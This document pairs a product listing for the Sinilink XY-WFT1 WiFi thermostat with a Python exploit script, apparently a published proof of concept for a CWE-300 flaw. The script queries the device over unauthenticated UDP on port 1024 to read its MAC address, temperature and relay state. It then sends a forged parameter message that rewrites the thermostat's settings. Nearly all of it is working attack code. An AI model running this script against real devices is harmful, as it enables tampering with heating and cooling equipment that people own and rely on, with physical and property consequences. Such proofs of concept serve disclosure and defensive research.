Overview

WIFI Remote Thermostat High Precision Temperature Controller Module Cooling 
and Heating APP Temperature Collection XY-WFT1 WFTX

Technical Parameters

Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support

#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Banner Function
def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: Sinilink WiFi Remote Thermostat                                    |")
    print ("|   Usage : "+sys.argv[0]+" <host>                                                     |")
    print ("[+]********************************************************************************[+]")

def retrieve_device_info():

    SinilinkMsgFromClient = "SINILINK521"
    host = str(sys.argv[1])
    try:
        bytesToSend = str.encode(SinilinkMsgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(5)
        msgFromServer = UDPClientSocket.recvfrom(bufferSize)
        msg = "Message from Server {}".format(msgFromServer[0])
        msgSplit = msg.split(",")
        MAC = msgSplit[0][30:-1]
        dt = msgSplit[1][7:]
        converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
        temp = msgSplit[5]
        degree = msgSplit[6][1:-1]
        relay_value = msgSplit[2][9:]
        print (Fore.CYAN + f"    --> MAC Address: {MAC}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Time Stamp: {converted}" + Style.RESET_ALL)
        print (Fore.CYAN + f"    --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
        if (relay_value == "1"):
            print (Fore.CYAN + f"    --> Relay State: Open" + Style.RESET_ALL)
        else:
            print (Fore.CYAN + f"    --> Relay State: Closed" + Style.RESET_ALL)
    except:
        print ("Unsuccessful")

def send_payload():
    try:
        epoch_time = str(int(time.time()))
        msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
        bytesToSend = str.encode(msgFromClient)
        serverAddressPort = (""+host, 1024)
        bufferSize = 1024
        print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
        time.sleep(10)
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
        UDPClientSocket.sendto(bytesToSend, serverAddressPort)
        time.sleep(15)
        UDPClientSocket.close()
    except:
        print ("Unsuccesful")
    
# Main Function
def main():
    os.system('clear')
    banner()
    retrieve_device_info()
    send_payload()
    retrieve_device_info()



if __name__ == "__main__":
    if len(sys.argv)>1:
        host = sys.argv[1]
        main()
    else:
        print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)